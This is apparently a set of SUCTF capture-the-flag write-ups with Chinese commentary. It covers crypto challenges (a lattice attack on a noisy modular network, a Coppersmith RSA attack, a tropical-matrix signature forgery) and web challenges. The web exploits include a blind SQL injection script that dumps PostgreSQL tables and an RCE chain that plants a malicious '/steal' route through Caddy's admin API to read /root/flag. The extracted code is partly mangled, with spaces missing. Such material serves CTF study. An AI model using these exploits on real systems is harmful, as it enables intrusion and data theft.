defgenerate_task(): model = ModuloNet(n, m) with torch.no_grad(): model.conv.weight.copy_(torch.randint(0, q, model.conv.weight.shape, dtype=torch.float32)) model.fc.weight.copy_(torch.randint(0, q, model.fc.weight.shape, dtype=torch.float32)) torch.save(model.state_dict(), "model.pth")
conv_out = [] for i inrange((n - 3) // 2 + 1): window = x_data[i*2 : i*2+3] val = sum(w * x for w, x inzip(w_conv, window)) conv_out.append(val) Y = [] for i inrange(m): val = sum(w * x for w, x inzip(w_fc[i], conv_out)) noise = random.randint(-160, 160) Y.append((val + noise) % q)
withopen("weights.json", "r") as f: data = json.load(f) w_conv, w_fc = data["w_conv"], data["w_fc"]
n, m, q = 41, 15, 1000000007 Y = [776038603, 454677179, 277026269, 279042526, 78728856, 784454706, 29243312, 291698200, 137468500, 236943731, 733036662, 421311403, 340527174, 804823668, 379367062]
# 1. 拍平神经网络为 M[15][41] 矩阵 M = [[0] * n for _ inrange(m)] for i inrange(m): for j inrange((n - 3) // 2 + 1): coef = w_fc[i][j] M[i][j*2] = (M[i][j*2] + coef * w_conv[0]) % q M[i][j*2+1] = (M[i][j*2+1] + coef * w_conv[1]) % q M[i][j*2+2] = (M[i][j*2+2] + coef * w_conv[2]) % q
# 2. 已知位预处理与中心平移 prefix, suffix = b"SUCTF{", b"}" known_idx = list(range(len(prefix))) + [n - 1] unk_idx = [i for i inrange(n) if i notin known_idx] U = len(unk_idx)
flag_known = [0] * n for k inrange(len(prefix)): flag_known[k] = prefix[k] flag_known[-1] = suffix[0]
SHIFT = 79# ASCII范围中心
target = [0] * m for i inrange(m): known_sum = sum(M[i][k] * flag_known[k] for k in known_idx) shift_sum = sum(M[i][k] * SHIFT for k in unk_idx) target[i] = (Y[i] - known_sum - shift_sum) % q
# 3. Kannan Embedding 构建格 W_x = 3# 未知数放大倍率 (3 * 47 ≈ 141) W_t = 160# 目标常数标识量级 (匹配噪音上限 160) dim = U + m + 1 B = matrix(ZZ, dim, dim)
for i inrange(U): B[i, i] = W_x for j inrange(m): B[i, U + j] = M[j][unk_idx[i]] for j inrange(m): B[U + j, U + j] = q for j inrange(m): B[-1, U + j] = -target[j] B[-1, -1] = W_t
from flask import Flask, request, jsonify, render_template import torch import torch.nn as nn import torch.optim as optim import torchvision.models as models import torchvision.datasets as datasets import torchvision.transforms as transforms from torch.utils.data import DataLoader, Subset, Dataset import base64 import io import numpy as np import os app = Flask(__name__)
defforward(self, x): x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0) x = self.conv(x) x = self.conv1(x) x = x.view(-1) x = self.linear(x) return x
for i, (param, user_param) inenumerate(zip(model.parameters(), user_model.parameters())):
if param.dim() == 2: if torch.any(~(abs(param - user_param) <= threshold_weight)): return jsonify({'error': f'Layer weight difference too large at layer {i}'}), 400 elif param.dim() == 1: if torch.any(~(abs(param - user_param) <= threshold_bias)): return jsonify({'error': f'Layer bias difference too large at layer {i}'}), 400 withopen('/app/flag', 'r') as f: flag = f.read() return jsonify({'flag': f'Here is your flag: {flag}'}) except Exception as e: return jsonify({'error': str(e)}), 500
if __name__ == '__main__': app.run(host="0.0.0.0", port=8080)
defforward(self, x): x = nn.functional.pad(x, (2, 0, 2, 0), mode="constant", value=0) x = self.conv(x) x = self.conv1(x) x = x.view(-1) x = self.linear(x) return x
if __name__ == "__main__": main() # SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}
Crypto
SU_RSA
This is an RSA challenge
from Crypto.Util.number import * flag = b'******' m = bytes_to_long(flag) bits = 1024 delta = 0.08 gamma = 0.39 delta0 = 0.33
p = getPrime(bits // 2) q = getPrime(bits // 2) N = p * q d = getPrime(int(bits*delta0)) phi = (p-1)*(q-1) e = inverse(d,phi) S = p + q - (p + q) % (2**int(bits * gamma)) c = pow(m,e,N)
""" N = 92365041570462372694496496651667282908316053786471083312533551094859358939662811192309357413068144836081960414672809769129814451275108424713386238306177182140825824252259184919841474891970355752207481543452578432953022195722010812705782306205731767157651271014273754883051030386962308159187190936437331002989 e = 11633089755359155730032854124284730740460545725089199775211869030086463048569466235700655506823303064222805939489197357035944885122664953614035988089509444102297006881388753631007277010431324677648173190960390699105090653811124088765949042560547808833065231166764686483281256406724066581962151811900972309623 c = 49076508879433623834318443639845805924702010367241415781597554940403049101497178045621761451552507006243991929325463399667338925714447188113564536460416310188762062899293650186455723696904179965363708611266517356567118662976228548528309585295570466538477670197066337800061504038617109642090869630694149973251 S = 19240297841264250428793286039359194954582584333143975177275208231751442091402057804865382456405620130960721382582620473853285822817245042321797974264381440 """
k 的大小近似等于 d,直接跑二元 copper 的板子出不来。因为 e 不是素数,所以 Zmod(e) 存在零因子,它不是一个整环,简单修复一下代码
# sage from sage.allimport * from Crypto.Util.number import * import itertools
defsmall_roots(f, bounds, m=1, d=None): ifnot d: d = f.degree()
R = f.base_ring() N = R.cardinality()
# ================= 修复非整环报错 ================= lm = f.monomials()[0] lc = f.monomial_coefficient(lm) inv_lc = inverse(lc, N) f = f * inv_lc f = f.change_ring(ZZ) # ============================================
G = Sequence([], f.parent()) for i inrange(m + 1): base = N ^ (m - i) * f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g)
factors = [monomial(*bounds) for monomial in monomials] for i, factor inenumerate(factors): B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ) for i, factor inenumerate(factors): B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ)) for h infilter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots
return []
N = 92365041570462372694496496651667282908316053786471083312533551094859358939662811192309357413068144836081960414672809769129814451275108424713386238306177182140825824252259184919841474891970355752207481543452578432953022195722010812705782306205731767157651271014273754883051030386962308159187190936437331002989 e = 11633089755359155730032854124284730740460545725089199775211869030086463048569466235700655506823303064222805939489197357035944885122664953614035988089509444102297006881388753631007277010431324677648173190960390699105090653811124088765949042560547808833065231166764686483281256406724066581962151811900972309623 c = 49076508879433623834318443639845805924702010367241415781597554940403049101497178045621761451552507006243991929325463399667338925714447188113564536460416310188762062899293650186455723696904179965363708611266517356567118662976228548528309585295570466538477670197066337800061504038617109642090869630694149973251 S = 19240297841264250428793286039359194954582584333143975177275208231751442091402057804865382456405620130960721382582620473853285822817245042321797974264381440 A = N - S + 1
PR.<k, x> = PolynomialRing(Zmod(e)) f = k * (A - x) + 1 res = small_roots(f, (2^340, 2^400), m = 3, d = 4) k = int(root[0]) x = int(root[1]) phi = N - (S + x) + 1 d = inverse(e, phi) flag = long_to_bytes(pow(c,d,N)).decode() print(flag) # SUCTF{congratulation_you_know_small_d_with_hint_factor}
SU_Restaurant
Well, aren’t there a bit too many cryptography challenges here?
from Crypto.Util.number import * from Crypto.Util.Padding import * from random import randint, choice, choices from hashlib import sha3_512 from base64 import b64encode, b64decode from secret import flag import numpy as np import json import os # import pty
H = lambda x: [int(y, 16) for y in [sha3_512(x).hexdigest()[i:i+2] for i inrange(0, 128, 2)]] alphabet = "".join([chr(i) for i inrange(33, 127)])
classPoint: def__init__(self, x): ifisinstance(x, float): raise ValueError("...") whilenotisinstance(x, int): x = x.x self.x = x
classBlock: def__init__(self, n, m, data=None): self.n = n self.m = m if data and (len(data) != n orlen(data[0]) != m): raise ValueError("...") if data: ifisinstance(data, Point): self.data = [[Point(data[i][j].x) for j inrange(m)] for i inrange(n)] else: self.data = [[Point(data[i][j]) for j inrange(m)] for i inrange(n)] else: self.data = [[Point(randint(0, 255)) for _ inrange(m)] for _ inrange(n)]
def__add__(self, other): return Block(self.n, self.m, [[self.data[i][j] + other.data[i][j] for j inrange(self.m)] for i inrange(self.n)])
def__mul__(self, other): assert self.m == other.n, "😭" res = [[Point(511) for _ inrange(other.m)] for _ inrange(self.n)] for i inrange(self.n): for j inrange(other.m): for k inrange(self.m): res[i][j] = res[i][j] + (self.data[i][k] * other.data[k][j])
return Block(self.n, other.m, res)
def__eq__(self, other): res = True for i inrange(self.n): for j inrange(self.m): res = res and self.data[i][j] == other.data[i][j] return res
deflegitimacy(self, lb, rb): for i inrange(self.n): for j inrange(self.m): ifnot (lb <= int(self.data[i][j].x) <= rb): returnFalse returnTrue
classRestaurant: def__init__(self, m, n, k): self.m, self.n, self.k = m, n, k self.chef = Block(m, k) self.cooker = Block(k, n) self.fork = self.chef * self.cooker
defcook(self, msg): ifisinstance(msg, str): msg = msg.encode() tmp = H(msg) M = Block(self.n, self.m, [[tmp[i * self.m + j] for j inrange(self.m)] for i inrange(self.n)]) whileTrue: U = Block(self.n, self.k) V = Block(self.k, self.m) P = self.chef * V R = U * self.cooker S = U * V A = (M * self.chef) + U B = (self.cooker * M) + V if A != U and B != V: break return A, B, P, R, S
defeat(self, msg, A, B, P, R, S): ifisinstance(msg, str): msg = msg.encode() tmp = H(msg) M = Block(self.n, self.m, [[tmp[i * self.m + j] for j inrange(self.m)] for i inrange(self.n)]) Z = (M * self.fork * M) + (M * P) + (R * M) + S W = A * B legal = A.legitimacy(0, 256) and B.legitimacy(0, 256) and P.legitimacy(0, 256) and R.legitimacy(0, 256) and S.legitimacy(0, 256) return W == Z and W != S and legal
menu = """Do something... [1] Say to the waiter: "Please give me some food." [2] Say to the waiter: "Please give me the FLAG!" [3] Check out What do you want to do? >>> """
havefork = False try: whileTrue: op = int(input(menu)) if op == 1: iflen(table) == 2: print("You're full and don't want to order more...") continue foodname = choice(foodlist) while foodname in table: foodname = choice(foodlist) print(f'The waiter says: "Here is your {foodname}!"') table.append(foodname) A, B, P, R, S = SU_Restaurant.cook(foodname) print(f'A = {A}\nB = {B}\nP = {P}\nR = {R}\nS = {S}')
elif op == 2: Fo0dN4mE = "".join(choices(alphabet, k=36)) print(f'The waiter says: "Please make {Fo0dN4mE} for me!"') res = json.loads(input(">>> ")) r1 = np.linalg.matrix_rank(np.array(res["A"])) r2 = np.linalg.matrix_rank(np.array(res["B"])) r3 = np.linalg.matrix_rank(np.array(res["P"])) r4 = np.linalg.matrix_rank(np.array(res["R"])) r5 = np.linalg.matrix_rank(np.array(res["S"]))
A = Block(8, 7, res["A"]) B = Block(7, 8, res["B"]) P = Block(8, 8, res["P"]) R = Block(8, 8, res["R"]) S = Block(8, 8, res["S"]) if SU_Restaurant.eat(Fo0dN4mE, A, B, P, R, S): print(f'The waiter says: "Here is the FLAG: {flag}"') else: print('The waiter says: "This is not what I wanted!"') exit(0)
elif op == 3: print('The waiter says: "Welcome to our restaurant next time!"') break else: print("Invalid option!") except: print("Something wrong...") exit(0)
在验证逻辑 eat() 中,服务器要求我们提供 A,B,P,R,S 五个矩阵,使得:$$W = A \times B = M \times F \times M + M \times P + R \times M + S = Z$$且满足 W=S 以及所有矩阵为满秩(常规线性代数意义下的秩)。因为加法是取最小值,上述等式可以转换为标准数学表达:$$Z_{i,j} = \min(MFM_{i,j}, MP_{i,j}, RM_{i,j}, S_{i,j})$$漏洞点:虽然我们不知道 F,但我们可以通过控制 W 和其余矩阵,让 Z 的最小值完全不依赖于 MFM。由于 MFMi,j=mink,l(Mi,k+Fk,l+Ml,j),且 F≥0,因此我们有一个硬性下界:$$MFM_{i,j} \ge \min_k M_{i,k} + \min_l M_{l,j}$$只要我们构造的 Wi,j=minkMi,k+minlMl,j,就能保证 W≤MFM 永远成立。此时,只要让 MP 或 RM 等于 W,就能在不知道 F 的情况下完美控制 Z
设 M 的第 i 行最小值为 R_mini,第 j 列最小值为 C_minj。我们将目标矩阵设为 Wi,j=R_mini+C_minj
# 接收并打印最后的结果 (FLAG) log.info("Waiting for the waiter's response...") response = io.recvall(timeout=3).decode().strip() print("\n" + "="*50) print("SERVER RESPONSE:") print(response) print("="*50 + "\n")
if"flag{"in response or"FLAG:"in response: log.success("Pwned! Check the flag above.") else: log.warning("Did not find flag pattern in response. Check the output.")
if __name__ == '__main__': exploit() # SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}
Web
SU_sqli
Zhou discovered a SQL injection vulnerability. Are you able to compromise the target?
functionb64UrlToBytes(s) { let t = s.replace(/-/g, "+").replace(/_/g, "/"); while (t.length % 4) t += "="; const bin = atob(t); const out = newUint8Array(bin.length); for (let i = 0; i < bin.length; i++) out[i] = bin.charCodeAt(i); return out; }
functionbytesToB64Url(bytes) { let bin = ""; for (let i = 0; i < bytes.length; i++) bin += String.fromCharCode(bytes[i]); returnbtoa(bin).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); }
functionmaskBytes(nonceB64, ts) { const nb = b64UrlToBytes(nonceB64); let s = 0 >>> 0; for (let i = 0; i < nb.length; i++) { s = (Math.imul(s, 131) + nb[i]) >>> 0; } const hi = Math.floor(ts / 0x100000000); s = (s ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0; const out = newUint8Array(32); for (let i = 0; i < 32; i++) { s ^= (s << 13) >>> 0; s ^= s >>> 17; s ^= (s << 5) >>> 0; out[i] = s & 0xff; } return out; }
functionunscramble(pre, nonceB64, ts) { const buf = b64UrlToBytes(pre); if (buf.length !== 32) thrownewError("prep"); for (let i = 0; i < 8; i++) { const o = i * 4; let w = (buf[o] | (buf[o + 1] << 8) | (buf[o + 2] << 16) | (buf[o + 3] << 24)) >>> 0; w = rotr32(w, rotScr[i]); buf[o] = w & 0xff; buf[o + 1] = (w >>> 8) & 0xff; buf[o + 2] = (w >>> 16) & 0xff; buf[o + 3] = (w >>> 24) & 0xff; } const mask = maskBytes(nonceB64, ts); for (let i = 0; i < 32; i++) buf[i] ^= mask[i]; return buf; }
functionprobeMask(probe, ts) { let s = 0 >>> 0; for (let i = 0; i < probe.length; i++) { s = (Math.imul(s, 33) + probe.charCodeAt(i)) >>> 0; } const hi = Math.floor(ts / 0x100000000); s = (s ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0; const out = newUint8Array(32); for (let i = 0; i < 32; i++) { s = (Math.imul(s, 1103515245) + 12345) >>> 0; out[i] = (s >>> 16) & 0xff; } return out; }
functionmixSecret(buf, probe, ts) { const mask = probeMask(probe, ts); if (mask[0] & 1) { for (let i = 0; i < 32; i += 2) { const t = buf[i]; buf[i] = buf[i + 1]; buf[i + 1] = t; } } if (mask[1] & 2) { for (let i = 0; i < 8; i++) { const o = i * 4; let w = (buf[o] | (buf[o + 1] << 8) | (buf[o + 2] << 16) | (buf[o + 3] << 24)) >>> 0; w = rotl32(w, 3); buf[o] = w & 0xff; buf[o + 1] = (w >>> 8) & 0xff; buf[o + 2] = (w >>> 16) & 0xff; buf[o + 3] = (w >>> 24) & 0xff; } } for (let i = 0; i < 32; i++) buf[i] ^= mask[i]; return buf; }
constUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36";
functionb64UrlToBytes(s) { let t = s.replace(/-/g, "+").replace(/_/g, "/"); while (t.length % 4) t += "="; returnnewUint8Array(Buffer.from(t, "base64")); }
functionmaskBytes(nonceB64, ts) { const nb = b64UrlToBytes(nonceB64); let s = 0 >>> 0; for (let i = 0; i < nb.length; i++) { s = (Math.imul(s, 131) + nb[i]) >>> 0; } const hi = Math.floor(ts / 0x100000000); s = (s ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0; const out = newUint8Array(32); for (let i = 0; i < 32; i++) { s ^= (s << 13) >>> 0; s ^= s >>> 17; s ^= (s << 5) >>> 0; out[i] = s & 0xff; } return out; }
functionunscramble(pre, nonceB64, ts) { const buf = b64UrlToBytes(pre); if (buf.length !== 32) thrownewError("prep"); for (let i = 0; i < 8; i++) { const o = i * 4; let w = (buf[o] | (buf[o + 1] << 8) | (buf[o + 2] << 16) | (buf[o + 3] << 24)) >>> 0; w = rotr32(w, rotScr[i]); buf[o] = w & 0xff; buf[o + 1] = (w >>> 8) & 0xff; buf[o + 2] = (w >>> 16) & 0xff; buf[o + 3] = (w >>> 24) & 0xff; } const mask = maskBytes(nonceB64, ts); for (let i = 0; i < 32; i++) buf[i] ^= mask[i]; return buf; }
functionprobeMask(probe, ts) { let s = 0 >>> 0; for (let i = 0; i < probe.length; i++) { s = (Math.imul(s, 33) + probe.charCodeAt(i)) >>> 0; } const hi = Math.floor(ts / 0x100000000); s = (s ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0; const out = newUint8Array(32); for (let i = 0; i < 32; i++) { s = (Math.imul(s, 1103515245) + 12345) >>> 0; out[i] = (s >>> 16) & 0xff; } return out; }
functionmixSecret(buf, probe, ts) { const mask = probeMask(probe, ts); if (mask[0] & 1) { for (let i = 0; i < 32; i += 2) { const t = buf[i]; buf[i] = buf[i + 1]; buf[i + 1] = t; } } if (mask[1] & 2) { for (let i = 0; i < 8; i++) { const o = i * 4; let w = (buf[o] | (buf[o + 1] << 8) | (buf[o + 2] << 16) | (buf[o + 3] << 24)) >>> 0; w = rotl32(w, 3); buf[o] = w & 0xff; buf[o + 1] = (w >>> 8) & 0xff; buf[o + 2] = (w >>> 16) & 0xff; buf[o + 3] = (w >>> 24) & 0xff; } } for (let i = 0; i < 32; i++) buf[i] ^= mask[i]; return buf; }
let lo = 32; let hi = 126; while (lo < hi) { const mid = Math.floor((lo + hi + 1) / 2); const cond = `(SELECT ascii(substring(${exprSql} from ${pos} for 1)))>=${mid}`; const ok = awaitaskBool(cond); if (ok) { lo = mid; } else { hi = mid - 1; } awaitnewPromise((r) =>setTimeout(r, 80)); } return lo; }
asyncfunctionreadString(exprSql, maxLen = 80) { let out = ""; for (let i = 1; i <= maxLen; i++) { const c = awaitfindAscii(exprSql, i); if (!c) break; out += String.fromCharCode(c); process.stdout.write(`\r${out}`); } process.stdout.write("\n"); return out; }
asyncfunctiontableAt(idx) { const expr = `(SELECT c.relname FROM pg_class c JOIN pg_namespace n ON c.relnamespace=n.oid WHERE concat(c.relkind,n.nspname)='rpublic' OFFSET ${idx} LIMIT 1)`; const exists = awaitaskBool(`(SELECT length(${expr}))>0`); if (!exists) returnnull; returnreadString(expr, 40); }
asyncfunctiondumpRowJson(table, rowIdx) { const expr = `(SELECT concat((SELECT row_to_json(t) FROM ${table} t OFFSET ${rowIdx} LIMIT 1)))`; const exists = awaitaskBool(`(SELECT length(${expr}))>0`); if (!exists) returnnull; returnreadString(expr, 180); }
print("[+] Verifying RCE context with id...") id_out = exp.run_shell("id") print(id_out.strip())
print("[+] Loading malicious Caddy route via local admin API...") route_ok = False for i inrange(1, 4): load_out = exp.load_caddy_steal_route().strip() if load_out: print(f"[i] /load attempt {i} output: {load_out}") else: print(f"[+] /load attempt {i} output empty (usually success).")
route_ok = exp.verify_steal_route() if route_ok: print("[+] Verified /steal route is active in Caddy config.") break print("[!] /steal route not active yet, retrying...")
ifnot route_ok: raise ExploitError("failed to activate /steal route after retries")
print("[+] Fetching /root/flag through /steal route...") flag = exp.fetch_flag_via_steal() print(f"\n[FLAG] {flag}")
if"<title>Grafana</title>"in flag: raise ExploitError( "received Grafana HTML instead of flag; /steal route may not be taking effect")
m = re.search(r"SUCTF\{[^\n\r}]+\}", flag) if m: print(f"[+] Parsed flag: {m.group(0)}") return0
except ExploitError as exc: print(f"[-] Exploit failed: {exc}") return1 except requests.RequestException as exc: print(f"[-] Network error: {exc}") return1
if __name__ == "__main__": sys.exit(main()) # SUCTF{c4ddy_4dm1n_4p1_2019_pr1v35c}